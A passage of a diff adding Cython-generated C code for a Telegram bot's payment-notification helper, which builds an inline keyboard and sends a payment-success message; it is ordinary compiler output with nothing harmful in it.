(!clear_module_state) return 0; + Py_CLEAR(clear_module_state->__pyx_d); + Py_CLEAR(clear_module_state->__pyx_b); + Py_CLEAR(clear_module_state->__pyx_cython_runtime); + Py_CLEAR(clear_module_state->__pyx_empty_tuple); + Py_CLEAR(clear_module_state->__pyx_empty_bytes); + Py_CLEAR(clear_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_CLEAR(clear_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_CLEAR(clear_module_state->__pyx_FusedFunctionType); + #endif + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardButton); + Py_CLEAR(clear_module_state->__pyx_kp_u__2); + Py_CLEAR(clear_module_state->__pyx_kp_u__3); + Py_CLEAR(clear_module_state->__pyx_kp_u__4); + Py_CLEAR(clear_module_state->__pyx_kp_u__5); + Py_CLEAR(clear_module_state->__pyx_kp_u__6); + Py_CLEAR(clear_module_state->__pyx_kp_u__7); + Py_CLEAR(clear_module_state->__pyx_n_s__9); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_types); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_args); + Py_CLEAR(clear_module_state->__pyx_n_s_as_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_asyncio_coroutines); + Py_CLEAR(clear_module_state->__pyx_n_s_await); + Py_CLEAR(clear_module_state->__pyx_n_s_bot); + Py_CLEAR(clear_module_state->__pyx_n_s_builder); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_s_chat_id); + Py_CLEAR(clear_module_state->__pyx_n_s_cline_in_traceback); + Py_CLEAR(clear_module_state->__pyx_n_s_close); + Py_CLEAR(clear_module_state->__pyx_kp_u_disable); + Py_CLEAR(clear_module_state->__pyx_n_s_e); + Py_CLEAR(clear_module_state->__pyx_kp_u_enable); + Py_CLEAR(clear_module_state->__pyx_n_s_error); + Py_CLEAR(clear_module_state->__pyx_n_s_float); + Py_CLEAR(clear_module_state->__pyx_kp_u_gc); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_utils); + Py_CLEAR(clear_module_state->__pyx_kp_s_handlers_payments_utils_py); + Py_CLEAR(clear_module_state->__pyx_n_s_import); + Py_CLEAR(clear_module_state->__pyx_n_s_int); + Py_CLEAR(clear_module_state->__pyx_n_s_is_coroutine); + Py_CLEAR(clear_module_state->__pyx_kp_u_isenabled); + Py_CLEAR(clear_module_state->__pyx_n_s_logger); + Py_CLEAR(clear_module_state->__pyx_n_s_main); + Py_CLEAR(clear_module_state->__pyx_n_s_name); + Py_CLEAR(clear_module_state->__pyx_n_u_profile); + Py_CLEAR(clear_module_state->__pyx_n_s_reply_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_row); + Py_CLEAR(clear_module_state->__pyx_n_s_send); + Py_CLEAR(clear_module_state->__pyx_n_s_send_message); + Py_CLEAR(clear_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_CLEAR(clear_module_state->__pyx_n_s_test); + Py_CLEAR(clear_module_state->__pyx_n_s_text); + Py_CLEAR(clear_module_state->__pyx_n_s_throw); + Py_CLEAR(clear_module_state->__pyx_n_s_user_id); + Py_CLEAR(clear_module_state->__pyx_codeobj_); + Py_CLEAR(clear_module_state->__pyx_tuple__8); + return 0; +} +#endif +/* #### Code section: module_state_traverse ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { + __pyx_mstate *traverse_module_state = __pyx_mstate(m); + if (!traverse_module_state) return 0; + Py_VISIT(traverse_module_state->__pyx_d); + Py_VISIT(traverse_module_state->__pyx_b); + Py_VISIT(traverse_module_state->__pyx_cython_runtime); + Py_VISIT(traverse_module_state->__pyx_empty_tuple); + Py_VISIT(traverse_module_state->__pyx_empty_bytes); + Py_VISIT(traverse_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_VISIT(traverse_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_VISIT(traverse_module_state->__pyx_FusedFunctionType); + #endif + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardButton); + Py_VISIT(traverse_module_state->__pyx_kp_u__2); + Py_VISIT(traverse_module_state->__pyx_kp_u__3); + Py_VISIT(traverse_module_state->__pyx_kp_u__4); + Py_VISIT(traverse_module_state->__pyx_kp_u__5); + Py_VISIT(traverse_module_state->__pyx_kp_u__6); + Py_VISIT(traverse_module_state->__pyx_kp_u__7); + Py_VISIT(traverse_module_state->__pyx_n_s__9); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_types); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_args); + Py_VISIT(traverse_module_state->__pyx_n_s_as_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_asyncio_coroutines); + Py_VISIT(traverse_module_state->__pyx_n_s_await); + Py_VISIT(traverse_module_state->__pyx_n_s_bot); + Py_VISIT(traverse_module_state->__pyx_n_s_builder); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_s_chat_id); + Py_VISIT(traverse_module_state->__pyx_n_s_cline_in_traceback); + Py_VISIT(traverse_module_state->__pyx_n_s_close); + Py_VISIT(traverse_module_state->__pyx_kp_u_disable); + Py_VISIT(traverse_module_state->__pyx_n_s_e); + Py_VISIT(traverse_module_state->__pyx_kp_u_enable); + Py_VISIT(traverse_module_state->__pyx_n_s_error); + Py_VISIT(traverse_module_state->__pyx_n_s_float); + Py_VISIT(traverse_module_state->__pyx_kp_u_gc); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_utils); + Py_VISIT(traverse_module_state->__pyx_kp_s_handlers_payments_utils_py); + Py_VISIT(traverse_module_state->__pyx_n_s_import); + Py_VISIT(traverse_module_state->__pyx_n_s_int); + Py_VISIT(traverse_module_state->__pyx_n_s_is_coroutine); + Py_VISIT(traverse_module_state->__pyx_kp_u_isenabled); + Py_VISIT(traverse_module_state->__pyx_n_s_logger); + Py_VISIT(traverse_module_state->__pyx_n_s_main); + Py_VISIT(traverse_module_state->__pyx_n_s_name); + Py_VISIT(traverse_module_state->__pyx_n_u_profile); + Py_VISIT(traverse_module_state->__pyx_n_s_reply_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_row); + Py_VISIT(traverse_module_state->__pyx_n_s_send); + Py_VISIT(traverse_module_state->__pyx_n_s_send_message); + Py_VISIT(traverse_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_VISIT(traverse_module_state->__pyx_n_s_test); + Py_VISIT(traverse_module_state->__pyx_n_s_text); + Py_VISIT(traverse_module_state->__pyx_n_s_throw); + Py_VISIT(traverse_module_state->__pyx_n_s_user_id); + Py_VISIT(traverse_module_state->__pyx_codeobj_); + Py_VISIT(traverse_module_state->__pyx_tuple__8); + return 0; +} +#endif +/* #### Code section: module_state_defines ### */ +#define __pyx_d __pyx_mstate_global->__pyx_d +#define __pyx_b __pyx_mstate_global->__pyx_b +#define __pyx_cython_runtime __pyx_mstate_global->__pyx_cython_runtime +#define __pyx_empty_tuple __pyx_mstate_global->__pyx_empty_tuple +#define __pyx_empty_bytes __pyx_mstate_global->__pyx_empty_bytes +#define __pyx_empty_unicode __pyx_mstate_global->__pyx_empty_unicode +#ifdef __Pyx_CyFunction_USED +#define __pyx_CyFunctionType __pyx_mstate_global->__pyx_CyFunctionType +#endif +#ifdef __Pyx_FusedFunction_USED +#define __pyx_FusedFunctionType __pyx_mstate_global->__pyx_FusedFunctionType +#endif +#ifdef __Pyx_Generator_USED +#define __pyx_GeneratorType __pyx_mstate_global->__pyx_GeneratorType +#endif +#ifdef __Pyx_IterableCoroutine_USED +#define __pyx_IterableCoroutineType __pyx_mstate_global->__pyx_IterableCoroutineType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineAwaitType __pyx_mstate_global->__pyx_CoroutineAwaitType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineType __pyx_mstate_global->__pyx_CoroutineType +#endif +#if CYTHON_USE_MODULE_STATE +#define __pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification __pyx_mstate_global->__pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification +#endif +#define __pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification __pyx_mstate_global->__pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification +#define __pyx_n_s_InlineKeyboardBuilder __pyx_mstate_global->__pyx_n_s_InlineKeyboardBuilder +#define __pyx_n_s_InlineKeyboardButton __pyx_mstate_global->__pyx_n_s_InlineKeyboardButton +#define __pyx_kp_u__2 __pyx_mstate_global->__pyx_kp_u__2 +#define __pyx_kp_u__3 __pyx_mstate_global->__pyx_kp_u__3 +#define __pyx_kp_u__4 __pyx_mstate_global->__pyx_kp_u__4 +#define __pyx_kp_u__5 __pyx_mstate_global->__pyx_kp_u__5 +#define __pyx_kp_u__6 __pyx_mstate_global->__pyx_kp_u__6 +#define __pyx_kp_u__7 __pyx_mstate_global->__pyx_kp_u__7 +#define __pyx_n_s__9 __pyx_mstate_global->__pyx_n_s__9 +#define __pyx_n_s_aiogram_types __pyx_mstate_global->__pyx_n_s_aiogram_types +#define __pyx_n_s_aiogram_utils_keyboard __pyx_mstate_global->__pyx_n_s_aiogram_utils_keyboard +#define __pyx_n_s_amount __pyx_mstate_global->__pyx_n_s_amount +#define __pyx_n_s_args __pyx_mstate_global->__pyx_n_s_args +#define __pyx_n_s_as_markup __pyx_mstate_global->__pyx_n_s_as_markup +#define __pyx_n_s_asyncio_coroutines __pyx_mstate_global->__pyx_n_s_asyncio_coroutines +#define __pyx_n_s_await __pyx_mstate_global->__pyx_n_s_await +#define __pyx_n_s_bot __pyx_mstate_global->__pyx_n_s_bot +#define __pyx_n_s_builder __pyx_mstate_global->__pyx_n_s_builder +#define __pyx_n_s_callback_data __pyx_mstate_global->__pyx_n_s_callback_data +#define __pyx_n_s_chat_id __pyx_mstate_global->__pyx_n_s_chat_id +#define __pyx_n_s_cline_in_traceback __pyx_mstate_global->__pyx_n_s_cline_in_traceback +#define __pyx_n_s_close __pyx_mstate_global->__pyx_n_s_close +#define __pyx_kp_u_disable __pyx_mstate_global->__pyx_kp_u_disable +#define __pyx_n_s_e __pyx_mstate_global->__pyx_n_s_e +#define __pyx_kp_u_enable __pyx_mstate_global->__pyx_kp_u_enable +#define __pyx_n_s_error __pyx_mstate_global->__pyx_n_s_error +#define __pyx_n_s_float __pyx_mstate_global->__pyx_n_s_float +#define __pyx_kp_u_gc __pyx_mstate_global->__pyx_kp_u_gc +#define __pyx_n_s_handlers_payments_utils __pyx_mstate_global->__pyx_n_s_handlers_payments_utils +#define __pyx_kp_s_handlers_payments_utils_py __pyx_mstate_global->__pyx_kp_s_handlers_payments_utils_py +#define __pyx_n_s_import __pyx_mstate_global->__pyx_n_s_import +#define __pyx_n_s_int __pyx_mstate_global->__pyx_n_s_int +#define __pyx_n_s_is_coroutine __pyx_mstate_global->__pyx_n_s_is_coroutine +#define __pyx_kp_u_isenabled __pyx_mstate_global->__pyx_kp_u_isenabled +#define __pyx_n_s_logger __pyx_mstate_global->__pyx_n_s_logger +#define __pyx_n_s_main __pyx_mstate_global->__pyx_n_s_main +#define __pyx_n_s_name __pyx_mstate_global->__pyx_n_s_name +#define __pyx_n_u_profile __pyx_mstate_global->__pyx_n_u_profile +#define __pyx_n_s_reply_markup __pyx_mstate_global->__pyx_n_s_reply_markup +#define __pyx_n_s_row __pyx_mstate_global->__pyx_n_s_row +#define __pyx_n_s_send __pyx_mstate_global->__pyx_n_s_send +#define __pyx_n_s_send_message __pyx_mstate_global->__pyx_n_s_send_message +#define __pyx_n_s_send_payment_success_notificatio __pyx_mstate_global->__pyx_n_s_send_payment_success_notificatio +#define __pyx_n_s_test __pyx_mstate_global->__pyx_n_s_test +#define __pyx_n_s_text __pyx_mstate_global->__pyx_n_s_text +#define __pyx_n_s_throw __pyx_mstate_global->__pyx_n_s_throw +#define __pyx_n_s_user_id __pyx_mstate_global->__pyx_n_s_user_id +#define __pyx_codeobj_ __pyx_mstate_global->__pyx_codeobj_ +#define __pyx_tuple__8 __pyx_mstate_global->__pyx_tuple__8 +/* #### Code section: module_code ### */ +static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/utils.py":8 + * + * + * async def send_payment_success_notification(user_id: int, amount: float): # <<<<<<<<<<<<<< + * try: + * builder = InlineKeyboardBuilder() + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_5utils_1send_payment_success_notification(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_5utils_1send_payment_success_notification = {"send_payment_success_notification", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_5utils_1send_payment_success_notification, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_5utils_1send_payment_success_notification(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_user_id = 0; + double __pyx_v_amount; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("send_payment_success_notification (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_user_id,&__pyx_n_s_amount,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_user_id)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 8, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_amount)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 8, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("send_payment_success_notification", 1, 2, 2, 1); __PYX_ERR(0, 8, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "send_payment_success_notification") < 0)) __PYX_ERR(0, 8, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_user_id = ((PyObject*)values[0]); + __pyx_v_amount = __pyx_PyFloat_AsDouble(values[1]); if (unlikely((__pyx_v_amount == (double)-1) && PyErr_Occurred())) __PYX_ERR(0, 8, __pyx_L3_error) + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("send_payment_success_notification", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 8, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.utils.send_payment_success_notification", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + if (unlikely(!__Pyx_ArgTypeTest(((PyObject *)__pyx_v_user_id), (&PyInt_Type), 0, "user_id", 1))) __PYX_ERR(0, 8, __pyx_L1_error) + __pyx_r = __pyx_pf_8handlers_8payments_5utils_send_payment_success_notification(__pyx_self, __pyx_v_user_id, __pyx_v_amount); + + /* function exit code */ + goto __pyx_L0; + __pyx_L1_error:; + __pyx_r = NULL; + __pyx_L0:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_5utils_send_payment_success_notification(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_user_id, double __pyx_v_amount) { + struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("send_payment_success_notification", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification *)__pyx_tp_new_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification(__pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 8, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_user_id = __pyx_v_user_id; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_user_id); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_user_id); + __pyx_cur_scope->__pyx_v_amount = __pyx_v_amount; + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_5utils_2generator, __pyx_codeobj_, (PyObject *) __pyx_cur_scope, __pyx_n_s_send_payment_success_notificatio, __pyx_n_s_send_payment_success_notificatio, __pyx_n_s_handlers_payments_utils); if (unlikely(!gen)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.utils.send_payment_success_notification", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + unsigned int __pyx_t_7; + PyObject *__pyx_t_8 = NULL; + PyObject *__pyx_t_9 = NULL; + Py_ssize_t __pyx_t_10; + Py_UCS4 __pyx_t_11; + int __pyx_t_12; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + int __pyx_t_15; + char const *__pyx_t_16; + PyObject *__pyx_t_17 = NULL; + PyObject *__pyx_t_18 = NULL; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("send_payment_success_notification", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L10_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 8, __pyx_L1_error) + + /* "handlers/payments/utils.py":9 + * + * async def send_payment_success_notification(user_id: int, amount: float): + * try: # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + { + __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_3); + /*try:*/ { + + /* "handlers/payments/utils.py":10 + * async def send_payment_success_notification(user_id: int, amount: float): + * try: + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton(text=" ", callback_data="profile") + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 10, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, NULL}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 10, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __Pyx_GIVEREF(__pyx_t_4); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_4; + __pyx_t_4 = 0; + + /* "handlers/payments/utils.py":11 + * try: + * builder = InlineKeyboardBuilder() + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton(text=" ", callback_data="profile") + * ) + */ + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 11, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + + /* "handlers/payments/utils.py":12 + * builder = InlineKeyboardBuilder() + * builder.row( + * InlineKeyboardButton(text=" ", callback_data="profile") # <<<<<<<<<<<<<< + * ) + * await bot.send_message( + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 12, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_8 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 12, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_text, __pyx_kp_u__2) < 0) __PYX_ERR(0, 12, __pyx_L4_error) + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_callback_data, __pyx_n_u_profile) < 0) __PYX_ERR(0, 12, __pyx_L4_error) + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_8); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 12, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_t_9}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 11, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/utils.py":14 + * InlineKeyboardButton(text=" ", callback_data="profile") + * ) + * await bot.send_message( # <<<<<<<<<<<<<< + * chat_id=user_id, + * text=f" {amount} . !", + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_bot); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 14, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_send_message); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 14, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/utils.py":15 + * ) + * await bot.send_message( + * chat_id=user_id, # <<<<<<<<<<<<<< + * text=f" {amount} . !", + * reply_markup=builder.as_markup(), + */ + __pyx_t_4 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 15, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_chat_id, __pyx_cur_scope->__pyx_v_user_id) < 0) __PYX_ERR(0, 15, __pyx_L4_error) + + /* "handlers/payments/utils.py":16 + * await bot.send_message( + * chat_id=user_id, + * text=f" {amount} . !", # <<<<<<<<<<<<<< + * reply_markup=builder.as_markup(), + * ) + */ + __pyx_t_9 = PyTuple_New(3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 16, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_10 = 0; + __pyx_t_11 = 127; + __Pyx_INCREF(__pyx_kp_u__3); + __pyx_t_11 = (65535 > __pyx_t_11) ? 65535 : __pyx_t_11; + __pyx_t_10 += 31; + __Pyx_GIVEREF(__pyx_kp_u__3); + 